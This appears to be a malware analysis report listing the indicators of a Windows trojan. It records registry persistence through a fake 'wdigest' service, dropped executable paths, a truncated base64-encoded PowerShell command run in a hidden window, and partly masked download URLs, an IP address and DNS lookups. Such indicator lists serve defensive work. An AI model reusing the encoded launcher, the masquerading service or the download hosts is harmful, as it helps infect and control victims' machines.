Technical Information
- [<HKLM>\System\CurrentControlSet\Services\wdigest] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wdigest] 'ImagePath' = '"%WINDIR%\SysWOW64\RpcPing\wdigest.exe"'
- 'wdigest' "%WINDIR%\SysWOW64\RpcPing\wdigest.exe"
- 'wdigest' %WINDIR%\SysWOW64\RpcPing\wdigest.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABQAG8AagBqAGoAdgAzAD0AKAAnAFgAJwArACcAawB3ACcAKwAoACcAOAAnACsAJwBiAGoAcgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBwAFIAbwBmAEkATABFAFwARw...
- %HOMEPATH%\gekw64o\bbyj9ew\ngqqvldy.exe
- %WINDIR%\syswow64\rpcping\wdigest.exe
- from %HOMEPATH%\gekw64o\bbyj9ew\ngqqvldy.exe to %WINDIR%\syswow64\rpcping\wdigest.exe
- '74.##9.172.26':80
- http://pa###rrow.com/wordpress/B/
- http://74.##9.172.26/jbMpV7q3N0W5sLJ/B0fY1/KBjxj2Z0AqD/yhVeZ3YpM/
- DNS ASK sc#####.upsproutmedia.com
- DNS ASK ch#####pecialist.com
- DNS ASK up####utmedia.com
- DNS ASK pa###rrow.com
- '%HOMEPATH%\gekw64o\bbyj9ew\ngqqvldy.exe'
- '%WINDIR%\syswow64\rpcping\wdigest.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABQAG8AagBqAGoAdgAzAD0AKAAnAFgAJwArACcAawB3ACcAKwAoACcAOAAnACsAJwBiAGoAcgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBwAFIAbwBmAEkATABFAFwARw...' (with hidden window)